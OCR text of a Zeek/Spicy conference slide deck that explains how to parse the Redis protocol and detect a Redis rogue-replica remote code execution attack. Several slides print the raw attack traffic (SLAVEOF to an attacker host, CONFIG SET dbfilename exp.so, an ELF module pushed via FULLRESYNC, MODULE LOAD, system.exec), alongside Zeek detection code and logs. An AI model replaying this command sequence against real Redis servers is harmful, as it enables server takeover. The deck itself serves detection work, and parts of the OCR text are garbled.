(_ corelight

OOOOOOOOOO




About Me corelight

OPEN SOURCE

- | am Evan Typanski :)

- Work for Corelight as a
software engineer on Zeek

- Background with static code o N AC S Gy
analysis (SAST) T A o
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Outline
OPEN SOURCE

First: What is Spicy?

Then, create a “real”

detection:

1) Understand the exploit

2) Parse the network traffic

3) Create the detection

4) Ensure the detection
triggers
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OPEN SOURCE

- Spicy is an incremental parser generator, specialized for network protocols
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OPEN SOURCE

- Spicy is an incremental parser generator, specialized for network protocols
- Incremental: Parsing occurs chunk-by-chunk as it arrives, rather than with an entire
payload
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OPEN SOURCE

- Spicy is an incremental parser generator, specialized for network protocols
- Incremental: Parsing occurs chunk-by-chunk as it arrives, rather than with an entire
payload
- Parser generator: Spicy generates programs that parse network traffic
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OPEN SOURCE

- Spicy is an incremental parser generator, specialized for network protocols
- Incremental: Parsing occurs chunk-by-chunk as it arrives, rather than with an entire
payload
- Parser generator: Spicy generates programs that parse network traffic
- Protocols: Spicy is specialized for network protocols, but it can also parse files
(mainly for transmission over the network)
- Spicy is capable; it can do more. But it is primarily for network protocols
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OPEN SOURCE

- Spicy parses “units” which describe the protocol
- All of the units together make a “grammar”

public type RequestlLine = unit {
method: Token;
- WhiteSpace;
uri: Token;
: WhiteSpace;
version: Version;

NewLine;

on %done {

print self.method, self.uri, self.version.number;
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Context Dependent Parsing _, corelight

OPEN SOURCE

- Depending on what is in a message, you could go down many different routes to parse that
message
- Spicy gives multiple ways to switch what you parse based on earlier data

public type Packet = unit {
opcode: uintlé;

switch
1

self.opcode ) {
rrq: ReadRequest;
wrq: WiriteRequest;

ack: Acknowledgement;

(
__)
_)
— data: Data;
_)
— error: Error;

k;

on %done { print self; }
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... and so much more

OPEN SOURCE

module Test;

O\ . public type test = unit {
A module Tests foo: Foo &try;
%, %ﬁp/ public type ; 00 = unit { bar: Bar;
A oy X: in 90 = unjt { public type § « ey
oV e . ‘ t8 requ . int8: = R on %done { print self; }
O on $dop QUires=(g¢ = § ( self.2 =0 )} };
3 00606 .‘\‘ - { Print 5C‘lf ’ b: 1ﬂt8 1.' ( SC\-" a% 2 ==
(.xﬁq&ec, BS\ Q(y i} ct int8 1 type Foo = unit {
ARl ) R t . int8; a: int8 {
o +““%0°(\ Ype g, 0 L ety if ($5 1=1)
= - n S -
o X intg Unlr(mS on %done { pri | self.backtrack();
A }; . %done &conver"\ SCrl-,)g 13 b: int8;
{print‘\(gs * m’ ”’Ult ' };
type Foo = unit { Puby ; $s: o 'Ult)’, lnt8} |
R ¢ ¢ q" o type Bar = unit {
X: uint32; Vi Ype Fo - (/nsg a: ints;
v: uint8[]; }i Bar{ o 0 un : SC(f'X) ; b: int8;
y (“th { ;) module Test; }:
on %init { ... } e
on x { ...} Mtege,., public type Foo = unit {
i fevaaeho } *3); data: uint8[];
: - : /EOD/;
on %done { ... } / ’
} type Foo = unit { X ¢ int8;
version: uint32;
} &byte-order=spicy::ByteOrder::Little; on %done { print self; }
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Spicy can operate alone GU[E”gm

OPEN SOURCE

- Spicy was made for Zeek, but it's fully independent

- Do you want to parse protocols with simple-ish syntax and handling?
Think about making a custom host application
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Understanding the Exploit  C corelight
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Remote Code Execution corelight

OPEN SOURCE

From Crowdstrike:

REMOTE CODE EXECUTION (RCE):
PRINCIPLES AND FUNCTION

Remote code execution (RCE) refers to a class of cyberattacks in which attackers remotely
execute commands to place malware or other malicious code on your computer or network. In an
RCE attack, there is no need for user input from you. A remote code execution vulnerability can
compromise a user’s sensitive data without the hackers needing to gain physical access to your
network.
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https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/remote-code-execution/
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OPEN SOURCE

- Redis is a key/value store

- Widely used for many applications:
- Caching
- Message broker
- Generic database

- Generally run on a separate server
- Clients connect to this server to get and set
values from keys
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Replicas GU[E”gm
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- Redis servers can “replicate” a leader

Redis
Leader
/ — '\

Follower 1 Follower 2 Follower 3
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Attacker enters

corelight

OPEN SOURCE

- Redis servers can “replicate” a leader

- The attacker connects to the
unauthenticated leader

- The attacker tells the leader that it's a

i replica

You are a replica now

RQLI'S

Attacker

Previous leader

/’

Follower 1

www.corelight.com
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Follower 2 Follower 3
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You're a replica corelight

OPEN SOURCE

1) Attacker tells leader it's a replica

b'*3\r\n$7\r\nSLAVEOF\r\n$20\r\nhost.docker.internal\r\n$5\r\n21000\r\n"
b'+0K\r\n"'
b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$é6\r\nexp.so\r\n’
b'+0K\r\n'
b'*1\r\n$4\r\nPING\r\n'
b'+PONG\r\n'
b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n"
b'+0K\r\n'
b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$é6\r\npsync2\r\n'
b'+0K\r\n'
b *3\r\n$5\r\nPSYNC\r\n$40\r\nf120260b0Ffha7613877f6610b999cFF785f4c47\r\n$1\r\nl1\r\n’
b'+FULLRESYNC ZZZZZ7ZZ72777277777772777777727277227727277Z 1\r\n$89344\r\n\x7fELF\x02\x01\x0
1\x00\x00\x00\x00\x00\x00\x00\x00\x00" b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x8bU\x01\x00\x00\x00\x00\x00\xF2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n"
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n’
[->] b'+0K\r
[<-1 b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n"*
[->] b'+0K\r\n'
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Here's a database ;) corelight

OPEN SOURCE

1) Attacker tells leader it's a replica
2) Replica tries to sync its database; gets

Sent an E LF f| |e777 '%x3\r\n$7\r\nSLAVEOF\r\n$20\r\nhost.docker.internal\r\n$5\r\n21000\r\n"

*+0K\r\n'

'%x4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n"*

'+0K\r\n'

'*1\r\n$4\r\nPING\r\n"'

'+PONG\r\n"

*%x3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n"

'+0K\r\n'

'%x5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$é\r\npsync2\ri\n’

'+0K\r\n'

'%3\r\n$5\r\nPSYNC\r\n$40\r\nf120260b0fba76f13877Ff6610b999cFF785F4c47\r\n$1\r\n1\r\n"'
b'+FULLRESYNC ZZZZZ7Z77777777777777777777777777727722777 1\r\n$89344\r\n\x7fELF\x02\x01\x0

1\x00\x00\x00\x00\x00\x00\x00\x00\x00 " b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0

0\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

\x00\x00\x00\x8bU\x01\x00\x00\x00\x00\x00\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n"

'%x3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n. /exp.so\r\n’

'+0K\r\n'

'%x3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n"

'+0K\r\n'

b - — —
T T T UTUoTUTUoTUoTUoTUOTUT
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Load it! corelight

OPEN SOURCE

1) Attacker tells leader it's a replica

2) Replica tries to sync its database; gets
sent an ELF file???

3) Attacker loads that ELF file

'%x3\r\n$7\r\nSLAVEOF\r\n$20\r\nhost.docker.internal\r\n$5\r\n21000\r\n"

'+0K\r\n'

'%4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n"

'+0K\r\n'

'*¥1\r\n$4\r\nPING\r\n"'

'+PONG\r\n"

'%x3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n"

'+0K\r\n'

'%*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$é\r\npsync2\ri\n’

'+0K\r\n"'

*%3\r\n$5\r\nPSYNC\r\n$40\r\nf120260b0fba76f13877F66100999cFF785F4c47\r\n$1\r\n1\r\n"'
b'+FULLRESYNC ZZZZZ7ZZ7277727777777277777772277227727277ZZ 1\r\n$89344\r\n\x7fELF\x02\x01\x0

1\x00\x00\x00\x00\x00\x00\x00\x00\x00"* b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0

0\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

\x00\x00\x00\x8bU\x01\x00\x00\x00\x00\x00\xF2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n"

'%x3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n. /exp.so\r\n’

'+0K\r\n'

'%x3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n"

'+0K\r\n'

b —
T T UTUTUOoTUTUoTUoTUoTUTUT
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exploited

OPEN SOURCE

1) Attacker tells leader it's a replica

2) Replica tries to sync its database; gets
sent an ELF file???

3) Attacker loads that ELF file

4)
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Parsing ( corelight

OPEN SOURCE

Parsing is transforming one form of data into data structures

00000000 11010100 11000011 10110010 10100001 GEEO0010 00000000
00000006: 0OO00100 000AAEEE HEOOO000 00AAAEEE BEEOOO00 008AREAN = , TR T
0000000C: 0OOAEO0O DOAEO0H 0OAEO0AE 00EE0RO 11111111 11111111 /download/CHANGES.bro-aux.txt HTTP/1.1
00000012: £O00OAEO 000AHO00 0AHE0001 HEO0EAE 0OOOEEEO 00860000 Ml e g S e g BiE o T A
00000018: 10101110 0OEA1001 00111001 01010001 11166000 01000011 User-Agent: Wget/1.14 (darwinl2.2.0)
0000001e: 00001101 00000A00 01001110 000AAEEE HEEOO000 000AAEAE
00000024: 01001110 00000006 BEOOO000 00AAEEEE BEEOOO00 00010000
0000002a: 11011011 10001600 11010010 11101111 11001000 10111160
00000030: 11001000 10010110 11010010 10100000 00001660 00860000
00000036 £1000101 0000HE00 0AAEO00O H1000000 11011111 10001110
0000003c: ©1000000 0000HE00 01000000 HEO00116 01101161 11010011
00000042 10001101 10001116 11100100 00009101 11000000 10010110
00000048: 10111011 00101011 11101001 11010000 GEEO0000 01010000
0000004e: 11111110 00100001 00110010 00111016 GEEOO000 00000HO
00000054: 00000000 000AAEEG 10110000 00000016 11111111 11111111
0000005a: 00111011 11000000 ©EOO0000 000AEEEE OEOO0010 00000160
00000060: 00000101 10110160 EOO0001 00000011 BEEO0011 00000160
00000066: 00000001 000AAAA1 OEOO1000 00001016 0EE10110 01001010
0000006c: 11011101 00100000 ©EOO0000 000AEEEE BEEOO00O 00OOEEAE
00000072: 00000100 000AEH16 OEOOO000 000AEEEE 10101110 00001001
00000078: 00111001 01010001 01001100 01010100 0EE01110 00000000
0000007¢: ©1001010 00000H00 OEOOO000 000AAEEE 01001010 0000AAO
: 0OOHEEEO 00000000 11001000 10111100 11001000 10010110
: 11010010 10100000 000HHEEO 00010000 11011011 10001000
: 11010010 11101111 00001660 00000000 01000161 0OOO000O
: 00OHEEEO 00111100 0HHEEEEO OO0 01000000 0OOO000O
: 99101111 00000110 01011110 01100110 11000000 10010110
: 10111011 00101011 10001101 10001110 11100160 00000101
: 00OHEEEO 01010000 11101601 11010000 10100161 10101111
: 11001110 00111110 11111110 00100001 00110016 00111011
000000b4: 10100000 00010010 00111000 10010000 00101110 01010000
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corelight

OPEN SOURCE

0 15 16 31
Source Port Destination Port
32 63
Sequence Number
64 95
Acknowledgment Number
96 99 100 105 106 107 108 109 110 111 112 127
Data Offset Reserved E Window
128 143 144 159
Checksum Urgent Pointer
160 191
(Options and Padding)
192 223
Data (variable length)
224 255
Data (variable length)
TCP Packet
www.corelight.com (/ G[]fB|Igm
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Redis Serialization Protocol (RESP) GU[E”gm

OPEN SOURCE

RESP data type Minimal protocol version Category First byte
Simple strings RESP2 Simple +

Simple Errors RESP2 Simple -
Integers RESP2 Simple

Bulk strings RESP2 Aggregate $

Null bulk strings RESP2 Aggregate $-1\1\n
Arrays RESP2 Aggregate *

Nulls RESP3 Simple _
Booleans RESP3 Simple #
Doubles RESP3 Simple v
Big_.numbers RESP3 Simple (

Bulk errors RESP3 Aggregate !
Verbatim strings RESP3 Aggregate =

Maps RESP3 Aggregate %
Attributes RESP3 Aggregate |

Sets RESP3 Aggregate ~
Pushes RESP3 Aggregate >
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Redis Serialization Protocol (RESP) - with Spicy . GU[E”gm

OPEN SOURCE

RESP data type Minimal protocol version Category First byte
Simple strings RESP2 Simple +
= f
Simple Errors RESP2 Simple type DataType = enum 1
SIMPLE_STRING = '+',
Integers RESP2 Simple - SIMPLE_ERROR = '-",
Bulk stri RESP2 A $ AISTERER = 2
ulk strings ggregate s &3
BULK_STRING = 'S$"',
Null bulk strings RESP2 Aggregate $-1\1\n ARRAY = 'x' '
NULL = "_",
Arrays RESP2 Aggregate * BOOLEAN = '#°
#,
Nulls RESP3 Simple ) DOUBLE = *,°,
BIG_NUM = '(',
Booleans RESP3 Simple # BULK_ERROR = '!",
VERBATIM_STRING =
Doubles RESP3 Simple R iord
MAP = '%"',
Big_numbers RESP3 Simple ( ATTRIBUTE = '|' '
SET = '~',
Bulk errors RESP3 Aggregate ! PUSH = '>'
L
Verbatim strings RESP3 Aggregate =
Maps RESP3 Aggregate %
Attributes RESP3 Aggregate |
Sets RESP3 Aggregate ~
Pushes RESP3 Aggregate >
www.corelight.com Cj [}[]fB|Igm

OPEN SOURCE



A couple more parts...

Then we “just” parse the data

type Data = unit
%synchronize-after = b"\x0d\x0a";

ty:

swlt

www.corelight.com

uint8 &c

ch (SL’.T_f

DataType:
DataType::
DataType::
DataType::
DataType::
DataType::
DataType::
DataType::
DataType::
DataType::
DataType::
DataType::
DataType::
DataType::

[
1

onvert=DataType($$);

ty) o

: SIMPLE_STRING — simple_string: SimpleString(False);
SIMPLE_ERROR — simple_error: SimpleString(True);
INTEGER — integer: Integer;

BULK_STRING — bulk_string: BulkString(False);

ARRAY — array: Array(depth);

NULL — null: Null_;

BOOLEAN — boolean: Boolean;

DOUBLE — double: Double;

BIG_NUM — big_num: BigNum;

BULK_ERROR — bulk_error: BulkString(True);
VERBATIM_STRING — verbatim_string: BulkString(False);
MAP — map_: Map(depth);

SET — set_: Set(depth);

PUSH — push: Array(depth);

(_ corelight

OPEN SOURCE

type SimpleString = unit(is_error: bool) A
content: RedisBytes;
b
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RESP Example

( corelight

* 2 \r\n

$ 5
Hello

$ 9
Berkeley!

www.corelight.com

\r\n
\r\n
\r\n
\r\n

OPEN SOURCE

C corelight
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RESP Example

( corelight

OPEN SOURCE

* 2 \n\n
$ 5 \r\n
Hello \nn
$ 9 \r\n
Berkeley! \n\n

\r\n - Carriage Return
Line Feed

Terminator - separates
the protocol’s parts

C corelight

OOOOOOOOOO



RESP Example

C corelight

* 12

$

$

\r\n

5

Hello

9
Berkeley!

\r\n
\r\n
\r\n
\r\n

Array

Array Length (2)

OPEN SOURCE

C corelight

oooooooooo



RESP Example Gl]rellght

N SOURCE

* 2 \r\n Bulk String
5|5 \nn String length (5)
Hello \r\n
$ 9 \r\n
Berkeley! \r\n

www.corelight.com (/ G[]fB|Igm
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RESP Example Gl]rellght

N SOURCE

* 2 \r\n Bulk String
$ 5 \nn String length (9)
Hello \r\n
ﬂg \"\n
Berkeley! \r\n

www.corelight.com (/ G[]fB|Igm
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The Detection (tm)




How should we detect this? GU[E”gm

OPEN SOURCE

We have a couple ways to detect the RCE:
1. The attacker transferred an ELF file instead of a database file
2. The attacker used some troubling commands (SLAVEOF, MODULE LOAD)
3. The attacker connected to the Redis server without authentication

Point 1 may be tough
- The transferred file could be a non-ELF file
- The communication between the server and attacker was actually not RESP, it just looks
like it
Point 3 is also the whole reason we're in this mess in the first place!
So, | will show how to detect point 2: an allow-list of commands

www.corelight.com (/ G[]fB|IE|m
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How should we detect this? GU[E”gm

OPEN SOURCE

- An allow list of commands!

www.corelight.com (/ G[]fB|Igm
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Getting into Zeek corelight

OPEN SOURCE

- Spicy talks with Zeek via events in a .evt file

# A1l client data is a command
on RESP::ClientData — event Redis::command($conn, self.command);

on RESP::ServerData if ( Redis::classify(self) = Redis::ReplyType::Reply ) —

event Redis::reply($conn, Redis::make_server_reply(self));

on RESP::ServerData if ( Redis::classify(self) = Redis::ReplyType::Error ) —
event Redis::error($conn, Redis::make_server_reply(self));

on RESP::ServerData if ( Redis::classify(self) = Redis::ReplyType::Push ) —
event Redis::server_push($conn, Redis::make_server_reply(self));

www.corelight.com Cj G[]fB|IE|hI
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The Event ( corelight

OPEN SOURCE

@load frameworks/notice
@load base/protocols/redis

export {
global allowlist: set[string] = ["ping", "config", "replconf", "psync",
"module", ] &redef;

}

redef enum Notice::Type += {
Bad_Redis_Command,
b

event Redis::command(c: connection, cmd: Redis::Command)
{
if ( to_lower(cmd$name) !in allowlist )
NOTICE([$note=Bad_Redis_Command, $msg=fmt("Disallowed Redis command: %s",
cmd$name), $id=c$id, $identifier=cat(cmd$name, c$id$orig_h,
c$id$resp_h)]);

www.corelight.com Cj G[]fB|IE|hI
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A customizable allow list ~, corelight

OPEN SOURCE

@load frameworks/notice
@load base/protocols/redis

export {

global allowlist: set[string] = ["ping", "config", "replconf", "psync",
"module", ] &redef;

}

redef enum Notice::Type += {
Bad_Redis_Command,
b

event Redis::command(c: connection, cmd: Redis::Command)
{
if ( to_lower(cmd$name) '!in allowlist )
NOTICE([$note=Bad_Redis_Command, $msg=fmt("Disallowed Redis command: %s",
cmd$name), $id=c$id, $identifier=cat(cmd$name, c$idSorig_h,
c$id$resp_h)]);
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Is the command allowed? GU[E”gm

OPEN SOURCE

@load frameworks/notice
@load base/protocols/redis

export {
global allowlist: set[string] = ["ping", "config", "replconf", "psync",
"module", ] &redef;

}

redef enum Notice::Type += {
Bad_Redis_Command,
b

event Redis::command(c: connection, cmd: Redis::Command)
{
if ( to_lower(cmd$name) !in allowlist )
NOTICE([Snote=Bad_Redis_Command, $msg=fmt("Disallowed Redis command: %s",
cmd$name), $id=c$id, $identifier=cat(cmd$name, c$id$orig_h,
c$id$resp_h)]);
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If not, raise a notice ~, corelight

OPEN SOURCE

@load frameworks/notice
@load base/protocols/redis

export {
global allowlist: set[string] = ["ping", "config", "replconf", "psync",
"module", ] &redef;

by

redef enum Notice::Type += {
Bad_Redis_Command,
b

event Redis::command(c: connection, cmd: Redis::Command)
{
if ( to_lower(cmd$name) !in allowlist )
NOTICE([Snote=Bad_Redis_Command, S$msg=fmt("Disallowed Redis command: %s",
cmd$name), $id=c$id, S$identifier=cat(cmd$name, c$idSorig_h,
c$id$resp_h)]);
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OPEN SOURCE




The logged notice _, corelight

OPEN SOURCE

[ ) CE s jj:(r:xtv) $ cat notice.log
#separator \x09
#set_separator

#empty_field (empty)
#unset_field =
notice

2026-05-18-15-44-57
ts vid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto  note msg sub src dst p n peer_del
actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval
string string double double
1776094434.392233 - 172.17.0.1 61332 172.17.0.2 6379 - tep Bad_Redis_Command Disallowed Redis command: SLAVEOF 172.17.0.1
72.17.0.2 6379 = = Notice:: ACTION_LOG (empty) 3600.000000 = =
1776094441.173486 ~ 0 A 61332  172.17.0.2 6379 = Bad_Redis_Command Disallowed Redis command: system.exec 172.17.0.1
4217052 6379 ~ ~ Notice:: ACTION_LOG (empty) 3600.000000 ~ =
#close 2026-05-18-15-44-57
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OPEN SOURCE



The logged notice (_ corelight

OPEN SOURCE

C C :(r:xtv) $ cat notice.log
#separator \x09
#set_separator
#empty_field (empty)
#unset_field =
notice
2026-05-18-15-44-57
ts vid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto  note msg sub src dst p n peer_del
actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval S
string string double double
1776094434.392233 - 172.17.0.1 61332 172.17.0.2 6379 - tep Bad_Redis_Command Disallowed Redis command: SLAVEOF - 172.17.0.1 1
72.17.0.2 6379 = = Notice:: ACTION_LOG (empty) 3600.000000 = =
1776094441.173486 ~ 0 A 61332  172.17.0.2 6379 = Bad_Redis_Command Disallowed Redis command: system.exec = 172.17.0.1
4217052 6379 ~ ~ Notice:: ACTION_LOG (empty) 3600.000000 ~ =
#close 2026-05-18-15-44-57

Using zeek-cu

vp:/Users/etyp/s r s-rce/tests jj:(r:xtv) $ cat notice.log | zeek-cut -m id.orig_h id.resp_h note msg
id.orig_h id.resp_h note msg
122375029 172.17.0.2 Bad_Redis_Command Disallowed Redis command: SLAVEOF
172.17.0.1 172.17.0.2 Bad_Redis_Command Disallowed Redis command: system.exec
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OPEN SOURCE







“Vanilla” Zeek logs also work! GUI'E”gm

OPEN SOURCE

- Zeek also has logs for each protocol
- You can get the details to detect this RCE just from “vanilla” Zeek logs
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OPEN SOURCE



~, corelight

OPEN SOURCE

redis.log

p:/Users/etyp/src/redis-rce/tests jj:(r:xtv) $ cat redis.log
#separator \x09
#set_separator |,
#empty_field (empty)
#unset_field =
redis
2026-05-18-15-44-57
uid id.orig_h id.orig_p id.resp_h id.resp_p cmd. name cmd.key cmd.value success reply.value
string addr port addr port string string string bool string

. 392233 CQGGaP2f44x4J0XXz6 172. (32 61332 17202 6379 SLAVEOF T 0K

.393144 CQGGaP2f44x4J0XXzb 172. 0.1 61332 472072 6379 CONFIG T 0K
1776094437.163095 CYEZdolvfS9ejUshd 172.17.0.2 33400 .168.65.254 21000 PING T PONG
1776094437.163194 CYEZdolvfS9ejUshd 172.17.0.2 33400 .168.65.254 21000 REPLCONF - T 0K
1776094437.163715 CYEZdolvfS9ejUshd 172. 0.2 33400 .168.65.254 21000 REPLCONF - T 0K
1776094437 .164180 CYEZdolvfS9ejUshd 172.17.0.2 33400 .168.65.254 21000 PSYNC = T FULLRESYNC Z Z Z 74 74 Z1
1776094437 .165382 CYEZdolvfS9ejUshd 172.17.0.2 33400 .168.65.254 21000 = = 1F \X7FELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\xb7\x00|
\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x80V\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x05\x00@\x00\x1a\x00\x19\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\X|
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00nQ\x00\x00\x00\x00\x00\x00hQ\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\
x00\x00p\xfa\x00\x00\x00\x00\x00\x00p\xfa\x01\x00\x00\x00\x00\x00p\xfa\x01\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\xe0\x09\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x00\|
x00\x00\x06\x00\x00\x00p\xfa\x00\x00\x00\x00\x00\x00p\xfa\x01\x00\x00\x00\x00\x00p\xfa\x01\x00\x00\x00\x00\x00\x80\x01\x00\x00\x00\x00\x00\x00\x80\x01\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\|
x00\x00Q\xe5td\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
1776094439.171981 CQGGaP2f44x4J0XXz6 172.17.8.1 61332 172.17.0.2 6379 MODULE - = 1 OK
1776094439 .174235 CQGGaP2f44x4J0XXz6 172.17.0.1 61332 172.17.0.2 6379 SLAVEOF - = T 0K
1776094441 .173486 CQGGaP2f44x4J0XXz6 172.17.0.1 61332 172.17.0.2 6379 system.exec - - T \x09\x8F\x0d#\x0b) 9\xb3\xa8+B\xe9\x8d\xc9\x8F\x94(\x82\x89\x81a|
\x9F&\xd4\xaf\x8c#\xbcg\xdé\xcf>\xb5\x93g\xd6\xdSnZE, | \xcc\xFfc\xd7D\xd9Ha\x9d\xe0\xae\x90\x19\xd9\x93\xbbU\x9d66@\x12\x84\xca\x10\xc7c\xb1\x92 i\xda~q' \x86j0\xFf21\xa7BY\x9dE\x176\xba\x13h\xc2\xeShV\x
ee\xf6\xa9\x847\xaa* (| P\x9e\x156m\x1c\xca\x98\xcO\xd7g\xa4sy\xdc&\xcf\xcdz\x85\xF5\xa80\xf8\xdb\x7f1INj\x01\xec; \x17\x11I\xef\x0Ff \xfON\x026\xef\xb9\xda]\x84\x0f\xd0\x06\xd0\xeb6\xc6\xF2\xdo\xe5QbQqgx\x1
a\x0e!\xeS5\xaa\xe7;W\xa5\xaSE\xbb\x01sE\x1a\x9b~\x1b\x8fK\x9a}lqredis\x0a
1776094442 . 605201 CQGGaP2f44x4J0XXz6 172.17.0.1 61332 172.17.0. 6379 system.exec “\x01\x02redis\x0a
1776094444 . 659400 CQGGaP2f44x4J0XXz6 1725 0 61332 172.17-9. 6379 system.exec redis\x0a
1776094445, 606342 CQGGaP2f44x4J0XXz6 172.17.0. 61332 172.17.0. 6379 system.exec exp.so\xBa
1776094448 .325515 CQGGaP2f44x4J0XXz6 172.17.0. 61332 172.17.0. 6379 CONFIG -
[¢]
[¢]

1776094448.327301 CQGGaP2f44x4J0XXz6 172. 61332 172.17.0. 6379 system.exec (empty)
1776094448 .332224 CQGGaP2f44x4J0XXz6 172. 61332  172.17.0. 6379 MODULE -
#close 2026-05-18-15-44-57
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OPEN SOURCE




Red flag 1: system.exec ( corelight

OPEN SOURCE

system.exec is not a standard Redis command

etyp:/Users/etyp/src/redis-rce/tests jj:(r:xtv) $ cat redis.log | zeek-cut -m cmd.name
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OPEN SOURCE




Red flag 2: ELF file transfer

ELF files have known “magic bytes” — That's not a database!

www.corelight.com

etyp:/Users/etyp/src/redis-rce/tests jj:(r:xtv) $ cat redis.log | zeek-cut -m reply.value

FULLRESYNC 7Z777777777777777777777777777777777777777 1
\X7FELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\xb7\x00\x01\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x80V\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00
8\x00\x05\x00@\x00\x1a\x00\x19\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00hQ\x00\x00\x00\x00\x00\x00hQ\x00\x00
\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\xfa\x00\x00\x00\x
00\x00\x00p\xfa\x01\x00\x00\x00\x00\x00p\xfa\x01\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x0
0\xe0\x09\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00p\
xfa\x00\x00\x00\x00\x00\x00p\xFfa\x01\x00\x00\x00\x00\x00p\xfa\x01\x00\x00\x00\x00\x00\x80\x01\x00\x
00\x00\x00\x00\x00\x80\x01\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00Q\xe5td\x06\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

\x09\x8f\x0d#\x0b)9\xb3\xa8+B\xe9\x8d\xc9\x8f\x94 (\x82\x89\x81a\x9f&\xd4\xaf\x8c#\xbcg\xdé\xcf>\xb5
\x93g\xdé\xdSnZE, | \xcc\xfc\xd7D\xd9Ha\x9d\xe0\xae\x90\x19\xd9\x93\xbbU\x9d66@\x12\x84\xca\x10\xc7c\
xb1\x92" i\xda~q'\x86j0\xf21\xa7BY\x9dE\x176\xba\x13h\xc2\xe5hV\xee\xf6\xa?\x847j\xaa*(|P\x9e\x156m\x
1c\xca\x98\xcO\xd7g\xa4sy\xdc&\xcf\xcdz\x85\xFf5\xa80\xf8\xdb\x7fINj\x01\xec; \x17\x11I\xef\x0Ff\xfON\
x026\xef\xb9\xda]\x84\x0f\xdo\x06\xd0\xeb\xc6\xFf2\xd0\xe5QbQqgx\x1a\x0e ! \xe5\xaa\xe7;W\xa5\xaSE\xbb\
x01sE\x1a\x9b~\x1b\x8fK\x9a}qredis\x0a

“\x01\x02redis\x0a

corelight

OPEN SOURCE

(_ corelight

OPEN SOURCE




’ (, corelight

OPEN SOURCE




module StateBomb; public type Input = unit {
bombs: ByteBomb[] &eod &max-size=5000;

